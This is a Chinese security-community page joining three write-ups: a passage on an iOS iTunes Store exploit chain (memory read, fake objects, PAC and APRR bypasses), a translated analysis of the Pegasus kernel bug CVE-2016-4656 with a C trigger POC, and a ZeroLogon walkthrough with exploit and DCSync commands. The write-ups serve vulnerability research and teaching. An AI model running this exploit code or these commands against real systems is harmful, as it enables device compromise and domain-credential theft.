于是 NSInvocation 引入了一个 32 位的随机数。随机数在单个进程内全局共享，每次启动进程时初始化。随机数保存的地址有一个符号
_magic_cookie.oValue。当 NSInvocation 被调用时，runtime 就会检查 NSInvocation 的 cookie
是否和全局变量相等。
这样一来，如果不能读内存，单纯用 fakeobj，是不能通过检查的。
接下来看看如何读内存。
WebScripting 将 js 的调用映射到 Objective-C 的函数调用。有一个隐藏的转换就是，js 里的 toString
函数，最终会调用对象的 description 方法，将得到的 NSString 转换回 js 的字符串返回。
NSData 正好有一个 hex dump 的特性。调用 -[NSData description] 会将其内存内容的十六进制打印出来。如果数据长度超过
24，则会用省略号截断内容：
{length=4096, bytes=0x23230a23 1025ff00 7224bfbf … 6e2f4142 5c732510}
那么可以构造如下结构：
通过 ASLR 漏洞获得 NSConcreteData 的 isa 地址。接下来的字段是 buffer 的长度和指针，可以获得任意内存读。最后的
callback 成员必须用 0 填充，否则将会被当作一个函数指针，并将 NSData 标记为 freeWhenDone。这样可能造成不必要的崩溃。
这个函数可以复用，稳定性取决于 UAF 抢占内存的概率。虽然一次限制了 24 个字节，实际上可以转储整个内存空间的内容。
* * *
## 使用 ArrayBuffer 伪造对象
在前文中让 objc_msgSend 在可控的内存上做了消息发送，实现伪造任意 Objective-C 对象并调用其部分方法的效果。但这时候 fakeobj
用的内存分配原语来自前文的一个解码 data URI 的业务逻辑，获得的 NSData 对于 js 是只读的。
这意味着在需要重复使用对象解引用时，需要触发多次 Use-After-Free。如果能将内存指向一个 js 的
ArrayBuffer，并能在利用当中动态修改就好了。
要达到这个效果，有两种思路：用 heap spray 让 ArrayBuffer 到达一个硬编码的地址，或者使用内存任意读直接获取 ArrayBuffer
的 backing store。Heap Spray 是一个不太优雅的方案，稳定性相对后者低很多，不过比赛的时候用到了。
两个方案都用到了一种思路，就是 Objective-C 当中存在一类"容器"（或者"集合"）对象，例如 NSSet, NSArray
等。这类对象的特点是嵌套结构，在容器中会保存一个或多个元素的地址。这样就造成了在 fakeobj 上的二次地址解引用，可以再次定向到我们需要的地方。而且
Objective-C 的 dealloc 方法一般有递归调用的特点，即集合被释放时会依次尝试释放子元素。即使包上一层容器，也不影响代码执行等 gadget
的使用。
首先是最简单暴力的堆喷。
iPhone 物理内存很小，堆喷还是很有效的。用 js 创建多个 ArrayBuffer，确保其中一个能落到固定的地址上。在 UAF 创建的假对象上伪造一个
NSArray，只有一个元素，元素的地址指向固定的堆喷目标地址。
为了区分具体落到目标的 ArrayBuffer，在 ArrayBuffer 里再创建一个嵌套的 NSArray，元素为 NSNumber，用来标记序号。
当调用最外部的对象的 toString 方法时，就会返回类似如下的字符串：
@[[@1234]]
这个 NSNumber 可以继续用 isa 和内存结构伪造，不过在比赛时直接伪造了 tagged pointer 用来加速内存喷射。有 iOS
开发背景的开发者一般知道，为了节省内存，一部分数字、字符串、日期等对象可以通过指针本身的 bits 保存。
在当前版本的 iOS 上，tagged pointer 被混淆处理。例如之前的
0xb000000000000012，混淆之后看上去完全变成了随机数
0x93b027f3768c6a51。
这也是 iOS 为了防止远程攻击引入的防御。在每个进程初始化时，生成一个随机数保存到全局变量
objc_debug_taggedpointer_obfuscator。之后的 tagged pointer 会和这个随机数 xor
处理。在缺乏信息泄露漏洞时，就很难伪造 tagged pointer。
不过还记得之前的 addrof 原语吗？这个原语可以直接泄露出 js 数字对应的 NSNumber 的地址，也就是一个 tagged pointer。已知
xor 的算法和一对(数字,混淆值)之后，就可以算出任意数字的 tagged pointer：
const tagf64 = (() => { const mask = 0x800000000000002Bn; const float64_obfuscator = ((1n << 7n) | mask) ^ addrof(1); const objc_debug_taggedpointer_obfuscator = float64_obfuscator & (!(7n)); iTunes.log('tagged pointer obfuscator: ' + objc_debug_taggedpointer_obfuscator); return n => ((BigInt(n) << 7) | mask) ^ float64_obfuscator;})();
使用 tagged pointer 伪造对象可以减少一半以上的内存写入操作。而 addrof 原语会抛出一次异常，并产生 syslog 输出。如果直接用
addrof 生成所有的数字 id，程序从毫秒级拖慢到几秒，性能差距在千倍以上。通过这个伪造 tagged pointer 的算法，极大地提升了堆喷的效率。
不过比赛结束之后我又鼓捣了不用堆喷的方案，稳定性极大提升了，也不需要伪造 tagged pointer。
这一个思路其实更简单。
WebScripting 会为 js 运行时里的对象创建一个 WebScriptObject。当用 addrof 原语获取一个 ArrayBuffer
的地址时得到的就是这个对象的地址。在WebScriptObject 里有一个 jsObject 指针，指向 JavaScriptCore 里的对象结构。
ArrayBuffer 的 jsObject 指向 jsc 的 Int8Array，也就是保存 ArrayBuffer 内容的地方。在新版的 WebKit
里 VectorPtr 指针被 PAC 加上了保护，用来防止伪造指针来获取内存读写的利用技术。这便是 PAC-cage。
我们的目的是用 ArrayBuffer 的二进制数据被 Objective-C 当作对象来处理，不会修改 VectorPtr。而 Objective-C
也不管 jsc 里的 PAC 签名。因此只需要用逻辑 and 运算简单地移除掉高位即可得到一个 fakeobj 的指针。把这个指针作为 UAF 的之后伪造的
NSArray 的唯一元素即可。
* * *
## 构造 Double Free
SLOP 技术有一个关键 gadget 就是调用 dealloc 方法。Project Zero 在实现 iMessage
攻击的时候利用了一个条件，即数据序列化之后创建出来的对象会隐式调用 dealloc 方法。
在前面一系列步骤之后，我们伪造了一个SKStoreReviewViewController 对象，并在 0x358 偏移处放了一个 bootstrap 用的
NSInvocation。既然第二篇文章说到，Use-After-Free 的核心问题在于 dealloc 可以被 js 调用，那么是不是再调用一次
dealloc 就行了？
并没有这么简单。
之所以 dealloc 能被 js 访问，是 SUScriptObject 在实现 isSelectorExcludedFromWebScript:
方法时返回了 NO。不过 SKStoreReviewViewController 并不是 SUScriptObject 的子类，最后会执行到
+[NSObject isSelectorExcludedFromWebScript:]，而默认的实现是一律 YES 拒绝。
要让伪造的对象再调用一次 dealloc，我们需要找到一个满足如下条件的类：
* SUScriptObject 的子类
* 提供一个 setter 方法，可以将其他对象赋值到这个类的属性上
* 在 dealloc 时递归释放成员属性
SUScriptSegmentedControlItem 便满足需求。
首先用 js 分配该对象到变量 A：
iTunes.makeSegmentedControl().createSegment()
然后调用 setUserInfo_ 将对象 B 关联上去。调用对象 B 的 dealloc 释放后占位，准备好 SLOP 所需的数据结构。这时候调用 A 的
dealloc，就会递归调用到 B 的 dealloc 方法。
const deallocator = iTunes.makeSegmentedControl();const seg = deallocator.createSegment(); // for double freeiTunes.log(`dangling pointer: ${addrof(x)}`);window.x = x; // avoid GCseg.setUserInfo_(x);x.dealloc(); // first free// ... exploit the UAFseg.dealloc(); // double free to kickstart the chain
* * *
## 调用任意 C 函数
到这一步已经可以串联多个 Objective-C 方法，实现相当多功能了。
Project Zero 的 iMessage 攻击演示用到了两个特殊的 gadget，可以配合起来调用任意被导出的 C 函数。
-[CNFileServices dlsym::]
-[NSInvocation invokeUsingIMP:]
第一个正如它的名字，等价于 dlsym。在 PAC 环境下，dlsym 返回的函数指针使用进程内共享的 IA key 和 0
作为上下文来签名，通常用作将函数指针当作 callback 的场景。
而另一个则是 NSInvocation 的私有用法，可以自定义 IMP 指针，也就是函数指针，实现参数可控的函数调用。这个方法利用到的 IMP 正是使用
IA key 和 0 context 签名。
两个方法结合起来，就可以调用任意能被 dlsym 找到的函数。
但是 saelo 留下了一个问题没有解决。NSInvocation 要求函数的第一个参数，也就是 self 指针不能为
nil（0）。在接下来的漏洞利用中，我们需要以 0 为参数调用一些函数。
这个缺陷可以用 CoreFoundation 里的回调函数解决。
例如这个：
void CFSetApplyFunction(CFSetRef theSet, CFSetApplierFunction applier, void
*context);
第二个参数的 applier 是一个 IA key 和 0 context 签名过的函数指针。CFSetApplyFunction 将遍历 CFSet
所有的元素，将元素和 context 作为参数传给 applier。
这样便可以通过如下代码（对应的 SLOP 链）绕过限制：
void *fake[2] = {(__bridge void *)NSClassFromString(@"__NSSingleObjectSetI"), NULL};CFSetApplyFunction((void *)&fake[0], (void*)exit, (void*)0x41414141);
首先创建一个只有一个元素的 __NSSingleObjectSetI，元素指针就是 0（applier 的第一个参数）。接下来调用
CFSetApplyFunction，加上 void *context 一共可以完全控制两个参数。
另外我没有实测过一个想法，由于 arm64 使用通用寄存器传递参数，如果上层的 CFSetApplyFunction
没有污染后续的寄存器，那么有可能还可以控制更多的参数。
反正之后的利用链条两个参数够用了。
* * *
## 绕过 APRR 载入任意 shellcode
JavaScriptCore 用到了 APRR 来动态切换 JIT
代码页的权限。对于一个线程而言，页面的属性要么可写要么可执行；而不同线程（编译线程、执行线程）看到的内存页属性可以是不一样的。
虽然浏览器的 just-in-time
允许加载动态的机器码，漏洞利用程序在获得内存读写之后却没办法简单将代码写入。写入代码必须调用特殊的指令切换内存属性，复制代码之后再恢复权限为可执行。而
PAC 又将代码重用攻击（ROP）阻断了，使攻击者不能简单复用浏览器已有的指令。
在 APRR 和 PAC 的协作下，很难单纯用内存读写载入任意代码。而绕过技术更是见光死，修一个少一个。不得不说 Apple
使用私有的硬件极大提高了漏洞利用的门槛。
当然凡事无绝对，以下介绍一个已被修复的绕过。
具体来说，WebKit 在生成即时编译的机器码会用到一个总是内联的 performJITMemcpy 函数。这个函数内部流程大致如下：
pthread_jit_write_protect_np(0); // set writablememcpy(jit_function, code, size); // write shellcodepthread_jit_write_protect_np(1); // set executable
pthread_jit_write_protect_np 本该被展开成为 内联汇编指令。但是 iOS 14.3 之前犯了一个低级错误，在
libpthread 里把这个函数设置成了公开导出。这样结合前文的 SLOP 技术，我们直接构造以上三个函数调用，就可以轻而易举地绕过
APRR，写入任意的机器码。
* * *
## 又一个 PAC 绕过：CVE-2021-1769
这一步在漏洞利用中不是必要的，有些炫技的成分。
前面的步骤中实现了任意 shellcode 的写入，还差最后一步 pc control，把控制流重定向到 shellcode 上。
可以使用经典的做法，利用 JIT 生成一个足够大的函数体，用上面的 APRR 绕过覆盖函数的机器码。最后在 js 里调用该函数时就会执行被修改过的
shellcode。
在这里使用了另一种思路。可以看到 SLOP 本身就可以实现复杂的功能，即使不写 shellcode 也能完成很多效果。我的想法是找到一些未被 PAC
保护的间接跳转指令，由某个函数从已知的内存地址中读取一个指针，然后不加验证地跳转过去。只要使用 SLOP
将指针修改掉，再调用这个具有间接跳转的函数，就可以控制 PC 运行 shellcode。
通过 IDA Pro 对整个 dyld_shared_cache 搜索，找到了这个 Swift 的运行库函数：
其中第二条 ldr 指令读取的就是一个 GOT 表项目，也就是没有 PAC 保护的函数指针。接下来函数走到 jn( _:_ :)，再继续看汇编指令：
最后一行 br x1 即是跳转到函数的第二个参数，也就是前文 ldr 读取出来的指针。
以上函数位于 /usr/lib/swift/libswiftDarwin.dylib，默认没有被 iTunes Store 链接到，可以用 SLOP 调用
dlopen 加载之。接着修改 _jn_ptr@PAGE 的值为shellcode 的地址，然后直接调用 dlsym 出来的_
$s6Darwin2jnySdSi_SdtF 函数即可。
这个 PAC 绕过在 iOS 14.4 修复，通过升级编译工具链移除了所有无保护的 GOT 指针。
* * *
最终 shellcode 执行结果如下：
第一篇文章里提到了，这个 App 非常特殊，可能是目前 shellcode 能在 iOS 上获取的最高权限。所有基于 App
能实现的越狱都可以无缝串联到这里。iTunes Store 还通过 entitlement 加入了例如摄像头、通讯录、Apple Wallet、Apple
ID 等敏感信息等访问权限，直接调用对应的 API 即可。
本研究大量参考了 Samuel Groß 的 iMessage hack 和 JITSploitation
系列文章，强烈推荐阅读，也在此表示感谢。可以看到阅读历史漏洞利用的报告对展开新的研究具有极大的推动作用。
* * * | 社区文章 |
# iOS三叉戟漏洞补丁分析、利用代码 公布（POC）
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<http://sektioneins.de/en/blog/16-09-02-pegasus-ios-kernel-vulnerability-explained.html>
译文仅供参考，具体内容表达以及含义原文为准。
**
**
**1.介绍**
2016年8月25日,针对最近出现的iOS监视工具PEGASUS,苹果发布了重要的安全更新:iOS
9.3.5。与之前发现的iOS恶意软件不同，这个工具包使用了三个不同的iOS 0 day漏洞，可以让所有打了补丁(iOS
9.3.5之前的版本)的iOS设备妥协。不幸的是，有关这些漏洞的公开信息很少,这是因为Citizenlab and Lookout
(漏洞发现者)和苹果已经决定对公众隐瞒细节。直到此时,他们仍没有向公众公开恶意软件样本，因此，独立地进行第三方分析是不可能完成的。
站在SektionEins的立场，我们认为向公众隐瞒已修复漏洞的细节并非正确的做法,由于我们在解决iOS内核问题上比较专业,于是决定来看看苹果发布的安全补丁,以找出被PEGASUS利用的漏洞。
该事件前期相关报道、报告：
[iOS 9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机（8月26日
13:41更新）](http://bobao.360.cn/news/detail/3497.html "iOS
9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机（8月26日 13:41更新）")
**2.补丁分析**
事实上，分析iOS安全补丁并没有我们当初想象得那么简单，因为iOS
9内核是以加密的形式被存储在设备中的(在固件文件中)。如果想获取解密后的内核，我们有两个选择：一种是拥有一个允许解密内核的低水平利用,另一种是破解存在问题的iOS版本,然后从核心内存里将它转储出来。我们决定使用第二种方法，我们在实验室内的iOS测试设备中，用自己的破解版本转储了iOS
9.3.4和iOS 9.3.5的内核。Mathew Solnik曾在一篇博客文章中对我们通常的做法有所描述,他透露说,
通过内核利用，我们可以从物理内存中转储完全解密的iOS内核。
转储出两个内核后，我们需要分析它们的差异。我们使用IDA中的开源二进制diffing插件Diaphora来完成这个任务，为了进行比较，我们将iOS
9.3.4内核加载到了IDA,然后等待自动分析完成，然后运用Diaphora将当前IDA数据库以同样的格式转储到SQLITE数据库。对于iOS
9.3.5内核，我们重复了一次这个过程,然后命令Diaphora比较两个数据库的差异。比较的结果可在以下的画面中看到：
Diaphora发现了iOS
9.3.5中的一些新函数。然而,其中大多数只是跳转目标发生了变化。从变动函数的列表中，我们可以明显看出OSUnserializeXML是其中最值得探究的函数。分析该函数的差异是非常困难的,因为相较于iOS
9.3.4，这个函数在iOS
9.3.5中已经发生了很大的改变(由于重新排序)。然而进一步的分析显示,它实际上还内联着另一个函数,通过观察XNU（类似于iOS内核）的源代码，找到漏洞似乎会变得较为容易。OS
X 10.11.6内的XNU内核可以在opensource.apple.com上找到。
对代码进行调查后显示,内联函数实际上是OSUnserializeBinary。
OSObject*
OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
if (!buffer) return (0);
if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);
if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString);
// XML must be null terminated
if (buffer[bufferSize - 1]) return 0;
return OSUnserializeXML(buffer, errorString);
}
**3.OSUnserializeBinary**
OSUnserializeBinary是添加到OSUnserializeXML上的相对较新的代码，主要负责处理二进制序列化数据。这个函数接触到用户输入的方式与OSUnserializeXML相同。由于IOKit
API允许对参数进行序列化，因此攻击者只需调用任意的IOKit API(或mach API)，就可以滥用它们。同时,该漏洞也可以从iOS或OS
X上任意沙箱的内部触发。
这个新函数的源代码位于libkern/c++/OSSerializeBinary.cpp,因此可以直接审查，不用确切地分析苹果应用的补丁。这个新的序列化格式的二进制格式并不是很复杂，它由一个32位标识符作为数据头,其次是32位对齐标记和数据对象。
支持以下数据类型:
**·Dictionary**
**·Array**
**·Set**
**·Number**
**·Symbol**
**·String**
**·Data**
**·Boolean**
**·Object (reference to previously deserialized object)**
二进制格式将这些数据类型编码成24-30位。较低的24位被作为数值数据保留下来，例如存储长度或集合元素计数器。第31位标志着集合的最后一个元素，其他的所有数据(字符串、符号、二进制数据、数字)占用了四字节，对齐到datastream。下文列出的POC就是一个例子。
**4.漏洞**
现在，找出漏洞变得较为简单了,因为它类似于之前PHP函数unserialize()中的use after free 漏洞，
SektionEins此前曾在PHP.net将该漏洞披露出来。OSUnserialize()内的漏洞也出自相同的原因:在反序列化过程中，反序列化器可以对先前释放的对象创建引用。
每个对象在经过反序列化后,都会被添加到一个对象目录中。代码是这样的:
if (!isRef)
{
setAtIndex(objs, objsIdx, o);
if (!ok) break;
objsIdx++;
}
这是不安全的,而PHP也犯过同样的错误，这是因为setAtIndex()宏不会让对象的引用计数增加，你可以在这里看到：
define setAtIndex(v, idx, o)
if (idx >= v##Capacity)
{
uint32_t ncap = v##Capacity + 64;
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
if (v##Array)
{
bcopy(v##Array, nbuf, v##Capacity * sizeof(o));
kfree(v##Array, v##Capacity * sizeof(o));
}
v##Array = nbuf;
v##Capacity = ncap;
}
if (ok) v##Array[idx] = o; <---- remember object WITHOUT COUNTING THE REFERENCE
在反序列化过程中，如果没有一种合法释放对象的方式，那么不记录v##Array内的引用数将不会出现什么问题。不巧的是，至少有一种代码路径允许在反序列化过程中释放对象。你可以从下面的代码中看到，字典元素的处理支持OSSymbol和OSString
key，然而在OSString
key的情形下，它们会在OSString对象损坏后转换至OSSymbol，而在OSString对象破坏时，它已经被添加到了theobjs对象表。
if (dict)
{
if (sym)
{
DEBG("%s = %sn", sym->getCStringNoCopy(), o->getMetaClass()->getClassName());
if (o != dict) ok = dict->setObject(sym, o, true);
o->release();
sym->release();
sym = 0;
}
else
{
sym = OSDynamicCast(OSSymbol, o);
if (!sym && (str = OSDynamicCast(OSString, o)))
{
sym = (OSSymbol *) OSSymbol::withString(str);
o->release(); <---- destruction of OSString object that is already in objs table
o = 0;
}
ok = (sym != 0);
}
}
因此，用kOSSerializeObject数据类型来创建已损坏的OSString对象的引用是可行的，这是一个典型的use after free漏洞。
**5.POC**
找出了问题后,我们创建了一个简单的POC来触发这个漏洞,下面的图中就是POC。你可以在OS X上试试(因为它和iOS有一样的漏洞)。
/*
* Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH
* compile on OS X like:
* gcc -arch i386 -framework IOKit -o ex exploit.c
*/
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
enum
{
kOSSerializeDictionary = 0x01000000U,
kOSSerializeArray = 0x02000000U,
kOSSerializeSet = 0x03000000U,
kOSSerializeNumber = 0x04000000U,
kOSSerializeSymbol = 0x08000000U,
kOSSerializeString = 0x09000000U,
kOSSerializeData = 0x0a000000U,
kOSSerializeBoolean = 0x0b000000U,
kOSSerializeObject = 0x0c000000U,
kOSSerializeTypeMask = 0x7F000000U,
kOSSerializeDataMask = 0x00FFFFFFU,
kOSSerializeEndCollecton = 0x80000000U,
};
#define kOSSerializeBinarySignature "323"
int main()
{
char * data = malloc(1024);
uint32_t * ptr = (uint32_t *) data;
uint32_t bufpos = 0;
mach_port_t master = 0, res;
kern_return_t kr;
/* create header */
memcpy(data, kOSSerializeBinarySignature, sizeof(kOSSerializeBinarySignature));
bufpos += sizeof(kOSSerializeBinarySignature);
/* create a dictionary with 2 elements */
*(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;
/* our key is a OSString object */
*(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;
*(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;
/* our data is a simple boolean */
*(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;
/* now create a reference to object 1 which is the OSString object that was just freed */
*(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;
/* get a master port for IOKit API */
host_get_io_master(mach_host_self(), &master);
/* trigger the bug */
kr = io_service_get_matching_services_bin(master, data, bufpos, &res);
printf("kr: 0x%xn", kr);
}
**6.利用**
因为我们才刚刚分析了这个问题，所以还没有来得及对这个漏洞开发出一种利用。但是我们随后会为这个漏洞开发出一种完全可行的利用，今年的晚些时候，我们会在柏林的iOS内核开发培训课程上将它展示出来。
该事件前期相关报道、报告：
[iOS 9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机（8月26日
13:41更新）](http://bobao.360.cn/news/detail/3497.html "iOS
9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机（8月26日 13:41更新）") | 社区文章 |
# ZeroLogon的利用以及分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：daiker & wfox [@360Linton](https://github.com/360Linton "@360Linton")-Lab
在今年9月份，国外披露了CVE-2020-1472(又被叫做ZeroLogon)的漏洞详情，网上也随即公开了Exp。是近几年windows上比较重量级别的一个漏洞。通过该漏洞，攻击者只需能够访问域控的445端口，在无需任何凭据的情况下能拿到域管的权限。该漏洞的产生来源于Netlogon协议认证的加密模块存在缺陷，导致攻击者可以在没有凭证的情况情况下通过认证。该漏洞的最稳定利用是调用netlogon中RPC函数NetrServerPasswordSet2来重置域控的密码，从而以域控的身份进行Dcsync获取域管权限。
## 0x00 漏洞的基本利用
首先来谈谈漏洞的利用。
### 1\. 定位域控
在我们进入内网之后，首先就是快速定位到域控所在的位置。下面提供几种方法
1、批量扫描389端口。
如果该机器同时开放着135,445,53有很大概率就是域控了，接下来可以通过nbtscan，smbverion，oxid，ldap来佐证
2、如果知道域名的话，可以尝试通过dns查询
当然这种也有很大的偶然性，需要跟域共享一套DNS，在实战中有些企业内网会这样部署，可以试试。
Linux下命令有
dig 域名 ns
dig _ldap._tcp.域名 srv
Windows下命令有
nslookup –qt=ns 域名
Nslookup -type=SRV _ldap._tcp.域名
3、如果我们控制了一台域成员机器，可以直接查询。
以下是一些常见的查询命令
net time /domain
net group "Domain controllers" /domain
dsquery server -o rdn
adfind -sc dclist
Nltest /dclist:域名
### 2\. 重置域控密码
这里利用[CVE-2020-1472](https://github.com/dirkjanm/CVE-2020-1472)来重置域控密码。注意，这里是域控密码，不是域管的密码。是域控这个机器用户的密码。可能对域不是很熟悉的人对这点不是很了解。在域内，机器用户跟域用户一样，是域内的成员，他在域内的用户名是机器用户+$(如DC2016\$)，在本地的用户名是SYSTEM。
机器用户也是有密码的，只不过这个密码我们正常无感，他是随机生成的，密码强度是120个字符，高到无法爆破，而且会定时更新。
我们通过`sekurlsa::logonPasswords`就可以看到机器用户的密码
在注册表`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters`
`DisablePasswordChange`决定机器用户是否定时更新密码，默认是0，定时更新
`MaximumPasswordAge`决定机器用户更新的时间，默认是30天。
接下来开始利用
命令在`python cve-2020-1472-exploit.py 机器名 域控IP`
这一步会把域控DC2016(即DC2016\$用户)的密码置为空，即hash为`31d6cfe0d16ae931b73c59d7e0c089c0`
接下来使用空密码就可以进行Dcsync(直接登录不行吗？在拥有域控的机器用户密码的情况下，并不能直接使用该密码登录域控，因为机器用户是不可以登录的，但是因为域控的机器用户具备Dcsync特权，我们就可以滥用该特权来进行Dcsync)
这里面我们使用impacket套件里面的`secretsdump`来进行Dcsync。
python secretsdump.py test.local/DC2016\$@DC2016 -dc-ip 192.168.110.16 -just-dc-user test\\administrator -hashes 31d6cfe0d16ae931b73c59d7e0c089c0:31d6cfe0d16ae931b73c59d7e0c089c0
### 3\. 恢复脱域的域控
在攻击过程中，我们将机器的密码置为空，这一步是会导致域控脱域的，具体原因后面会分析。其本质原因是由于机器用户在AD中的密码(存储在ntds.dic)与本地的注册表/lsass里面的密码不一致导致的。所以要将其恢复，我们将AD中的密码与注册表/lsass里面的密码保持一致就行。这里主要有三种方法
1、从注册表/lsass里面读取机器用户原先的密码，恢复AD里面的密码
我们直接通过`reg save`命令 将注册表里面的信息拿回本地，通过secretsdump提取出里面的hash。
或者使用mimikatz的`sekurlsa::logonpassword`从lsass里面进行抓取
可以使用[CVE-2020-1472](https://github.com/dirkjanm/CVE-2020-1472)底下的restorepassword.py来恢复
也可使用[zerologon](https://github.com/risksense/zerologon)底下的reinstall_original_pw.py来恢复，这个比较暴力，再打一次，计算密码的时候使用了空密码的hash去计算session_key。
可以发现AD里面的密码已经恢复如初了
2、从ntds.dict里面读取AD历史密码，然后恢复AD里面的密码
只需要加 secretsdump里面加`-history`参数就行
这个不太稳定，我本地并没有抓到历史密码
3、一次性重置计算机的机器帐户密码。(包括AD，注册表，lsass里面的密码)。
这里使用一个powershell 的cmdlet`Reset-ComputerMachinePassword`,他是微软在计算机脱域的情况下给出的一种解决方案。
可以一次性重置计算机的机器帐户密码。(包括AD，注册表，lsass里面的密码)。
我们用之前dcsync获取的域管权限登录域控。
执行`powershell Reset-ComputerMachinePassword`
可以看到三者的hash已经保持一致了
## 0x01 漏洞分析
### 1、netlogon 用途
Netlogon是Windows
Server进程，用于对域中的用户和其他服务进行身份验证。由于Netlogon是服务而不是应用程序，因此除非手动或由于运行时错误而停止，否则Netlogon会在后台连续运行。Netlogon可以从命令行终端停止或重新启动。其他机器与域控的netlogon通讯使用RPC协议MS-NRPC。
MS-NRPC指定了Netlogon远程协议，主要功能有基于域的网络上的用户和计算机身份验证；为早于Windows
2000备份域控制器的操作系统复制用户帐户数据库；维护从域成员到域控制器，域的域控制器之间以及跨域的域控制器之间的域关系；并发现和管理这些关系。
我们在MS-NRPC的文档里面可以看到为了维护这些功能所提供的RPC函数。机器用户访问这些RPC函数之前会利用本身的hash进行校验，这次的问题就出现在认证协议的校验上。
### 3、IV全为0导致的AES_CFB8安全问题
来看下AES_CFB8算法的一个安全问题。
首先说下CFB模式的加解密
CFB是一种分组密码，可以将块密码变为自同步的流密码。
其加解密公式如下
既将明文拆分为N份，C1，C2，C3。
每一轮的密文的计算是，先将上一轮的密文进行加密(在AES_CFB里面是使用AES进行加密)，然后异或明文，得到新一轮的密文。
这里需要用到上一轮的密文，由于第一轮没有上一轮。所以就需要一个初始向量参与运算，这个初始向量我们成为IV。
下面用一张图来具体讲解下。
这里的IV是`fab3c65326caafb0cacb21c3f8c19f68`
明文是`0102030405060708`
第一轮没有上一轮，需要IV参与运算。那么第一轮的运算就是。
E(`fab3c65326caafb0cacb21c3f8c19f68`) = `e2xxxxxxxxxxxxxxxxxxxxxxxxxxxxx`
然后e2与明文01异得到密文e3。
第二轮的密文计算是，先将第一轮的密文进行AES加密，然后异或明文，密文。
第一轮的密文就是`(没有fa了)b3c65326caafb0cacb21c3f8c19f68`+`e2`=`b3c65326caafb0cacb21c3f8c19f68e2`
E(`b3c65326caafb0cacb21c3f8c19f68e2`=`9axxxxxxxxxxxxxxxxxxxxxxxxxxxxx`
然后91与明文异或得到密文98
我们用一个表格来表示这个过程(为什么E(fab3c65326caafb0cacb21c3f8c19f68)=`e2xxxxxxxxxxxxxxxxxxxxxxxxxxxxx？这点大家不用关心，AES
key不一定，计算的结果也不一定，这里是假设刚好存在某个key使得这个结果成立)
明文内容 | 参与AES运算的上一轮密文 | E(参与AES运算的上一轮密文) | 加密后的密文 |
---|---|---|---|---
`01` | `fab3c65326caafb0cacb21c3f8c19f68` | `e2xxxxxxxxxxxxxxxxxxxxxxxxxxxxx`
| `01^e2=e3` |
`02` | `b3c65326caafb0cacb21c3f8c19f68e3` | `9axxxxxxxxxxxxxxxxxxxxxxxxxxxxx`
| `02^9a=98` |
`03` | `c65326caafb0cacb21c3f8c19f68e398` | `f6xxxxxxxxxxxxxxxxxxxxxxxxxxxxx`
| `03^f6=f5`
最后就是明文是`0102030405060708`经过八轮运算之后得到`e39855xxxxxxxxxxxxxxxxxxxxxxxxx`
这里有个绕的点是，每一轮计算的值是8位，既0x01,0x02。(每个16进制数4位)。因为是AES_CFB8。
而每轮AES运算的是128位(既16字节),因为这里是AES128。
我们观察每轮`参与AES运算的上一轮密文`。
第一轮是``fab3c65326caafb0cacb21c3f8c19f68`。第二轮的时候是往后移八位，既减去`fa`得到`b3c65326caafb0cacb21c3f8c19f68`，再加上第一轮加密后的密码`e3`得到`b3c65326caafb0cacb21c3f8c19f68`。
这个时候我们考虑一种极端的情况。
当IV为8个字节的0的时候，既IV=`000000000000000000000000000000`
那么新的运算就变成
明文内容 | 参与AES运算的上一轮密文 | E(参与AES运算的上一轮密文) | 加密后的密文 |
---|---|---|---|---
`01` | `000000000000000000000000000000` | `a5xxxxxxxxxxxxxxxxxxxxxxxxxxxxx` |
`01^a5=a4` |
`02` | `0000000000000000000000000000a4` | `8bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx` |
`02^8b=89` |
`03` | `00000000000000000000000000a489` | `11xxxxxxxxxxxxxxxxxxxxxxxxxxxxx` |
`03^11=12`
大家可以看到`参与AES运算的上一轮密文`的值是不断减去最前面的00，不断加入密文。
只要key固定，那么E(X)的值一定是固定的。
那么是不是在key固定的情况下，只要我保证`参与AES运算的上一轮密文`是固定的，那么`E(参与AES运算的上一轮密文)`一定是固定的。
`参与AES运算的上一轮密文`每轮是怎么变化的。
`000000000000000000000000000000` -> `0000000000000000000000000000a4` ->
`00000000000000000000000000a489`。
前面的00不断减少，后面不断加进密文。
那么我是不是只需要保证不断加进来的值是00,`参与AES运算的上一轮密文`就一直是`000000000000000000000000000000`。也就是说现在只要保证每一轮`加密后的密文`是`00`,那么整个表格就不会变化。最后得到的密文就是`000000000000000000000000000000`.。
要保证每一轮`加密后的密文`是`00`,只需要每一轮的`明文内容`和`E(参与AES运算的上一轮密文)的前面8位`一样就行。(两个一样的的数异或为0)
我们来看下这个表格。
明文内容 | 参与AES运算的上一轮密文 | E(参与AES运算的上一轮密文) | 加密后的密文 |
---|---|---|---|---
`XY` | `000000000000000000000000000000` | `XYxxxxxxxxxxxxxxxxxxxxxxxxxxxxx` |
`XY^XY=00` |
`XY` | `000000000000000000000000000000` | `XYxxxxxxxxxxxxxxxxxxxxxxxxxxxxx` |
`XY^XY=00` |
`XY` | ``000000000000000000000000000000` | `XYxxxxxxxxxxxxxxxxxxxxxxxxxxxxx` |
`XY^XY=00`
